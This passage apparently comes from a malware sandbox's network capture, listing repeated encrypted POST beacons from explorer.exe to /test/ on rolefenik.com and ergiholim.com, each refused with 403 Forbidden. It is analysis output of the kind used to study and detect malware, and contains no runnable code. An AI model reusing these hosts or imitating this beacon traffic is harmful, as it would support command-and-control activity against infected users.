2024-11-13 17:22:23 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nHYC3VgTFsavj47x5Ipq2yZSQTrs2q%2BhmAjDIjGnjkvL%2B1MjN0Pb9pm30O4X4QuSTBIioZKOovDW1oP7ZYcRoY1WTV5Zt0ZrqNTUUM4ep%2FBit0p%2FgOt%2BQdciG5HGwaxK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e20718ec87cd761-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=134973&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=22055&cwnd=32&unsent_bytes=0&cid=5b8874c85e3848f9&ts=547&x=0"
2024-11-13 17:22:23 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50022	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:24 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:24 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:25 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2a1oFCT3lljdO7TIzVzNTehfzuohZWgRmd68L8poYRkSm2q%2F62yJdxR8x32WeAEuHDUdx05%2FpobZRlPwP0p%2BPZWY7nxmneM40a4rSDP0u%2FYT8z5Oth1lBquHxDjPiI5%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e207199ee15d75c-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=132863&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=21475&cwnd=32&unsent_bytes=0&cid=dd1e6a571e8d3ab3&ts=747&x=0"
2024-11-13 17:22:25 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50023	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:26 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:26 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:26 UTC	749	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M1Br7FOZ151Tv30JiSJIA%2BG69PshIZ4krip%2ByRctCjYM7F7xrak0Lgeq18xYHGIFZynO2m6IuBlu2zMNakmI01SWLVI6vTaHouhlcVcN%2Bv1MJNV25QUJUDzMvyCssOTu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071a20fed2cda-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1190&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=2399337&cwnd=251&unsent_bytes=0&cid=d6a04af6bf06d8e1&ts=445&x=0"
2024-11-13 17:22:26 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50024	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:27 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:27 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:28 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgN0FB79osoJyRci%2FeCvE1W7OI%2B%2F6ihZO%2FePWO0VnjQcFYBRypV436ZfXkKOC5CPZwhl49g8PjWsbGF%2BxZqLoZ3cMRqwBIdl37fY%2Bg0HMOYaVWfbqzdNxdd058WX5muj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071aaf830d788-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=140398&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20792&cwnd=32&unsent_bytes=0&cid=eb26554afb95e4d0&ts=524&x=0"
2024-11-13 17:22:28 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50025	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:28 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:28 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:28 UTC	757	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rcFAKmcPK%2FfaSbJkFjXc640Ez8Q5wgYPphAlYKHZ5uIXdo%2FtTNbsqqNBXSX3bPma%2BslqctQEWENEYZgYxaDNRGRcRu7%2B6GHcSF%2Fbr%2BYeFHUQeMIvujiItHzCgwUDbF%2FJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071b1bb5a2e2d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1172&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=2327974&cwnd=251&unsent_bytes=0&cid=5f04bb50528df183&ts=310&x=0"
2024-11-13 17:22:28 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50026	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:29 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:29 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:30 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pG1ab5j64LTO5VlvQFPJ9hpdQ7ApwPNJeHya0C0Jny%2BU73gy%2BJDUpKt%2B6hC7C2wAitunGRWqVOCU3UHLyt6Kr1kcqzjsyhy6JkeXwIClmX%2Fmg4Dnm3RW56d%2Bfcz%2F2g2Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071b9b8a9d789-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=136298&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=21590&cwnd=32&unsent_bytes=0&cid=11014f91d1b0694a&ts=501&x=0"
2024-11-13 17:22:30 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50027	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:31 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:31 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:32 UTC	746	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J4CEvNqd1v0qYqo6RQznhEInlRAWxV3pk2KvGxBeHx4aN80RVWcAbvStI%2BrYqrmeiuWsBkAzo7tPhGpbkOTi0SK0P338Dzhyv9FWZ%2FnVzfFTbdtaWtSfy6g2dkEaibgx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071c33fb1685d-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=132792&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=20103&cwnd=32&unsent_bytes=0&cid=47b11e534a4395f7&ts=795&x=0"
2024-11-13 17:22:32 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:22:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50028	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:22:33 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:22:33 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:22:33 UTC	744	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:22:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=looL4GtvGtqxvJGrm30yz67anykEXAnUj5QKUxtvWzIwSlGE4QXXlOOetn0HNJx5O3A0w2PqKIPjiWua5LVqGSLhtII5Q8flFpcBOLbQCptSMDJNNIlLw13x%2BDicwIGT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2071cdaa86d74f-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=131167&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=22087&cwnd=32&unsent_bytes=0&cid=b863c50b1855407b&ts=500&x=0"
